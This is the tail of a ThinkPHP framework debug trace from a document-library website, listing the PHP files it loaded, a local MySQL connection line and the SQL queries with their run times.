  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000668s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000930s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000420s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000307s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000674s ]
  6. SELECT * FROM `set` [ RunTime:0.000234s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000599s ]
  8. SELECT * FROM `article` WHERE `id` = 870495 LIMIT 1 [ RunTime:0.000688s ]
  9. UPDATE `article` SET `lasttime` = 1784698100 WHERE `id` = 870495 [ RunTime:0.026468s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000381s ]
  11. SELECT * FROM `article` WHERE `id` < 870495 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000591s ]
  12. SELECT * FROM `article` WHERE `id` > 870495 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000479s ]
  13. SELECT * FROM `article` WHERE `id` < 870495 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001274s ]
  14. SELECT * FROM `article` WHERE `id` < 870495 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.000730s ]
  15. SELECT * FROM `article` WHERE `id` < 870495 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.001166s ]
0.134234s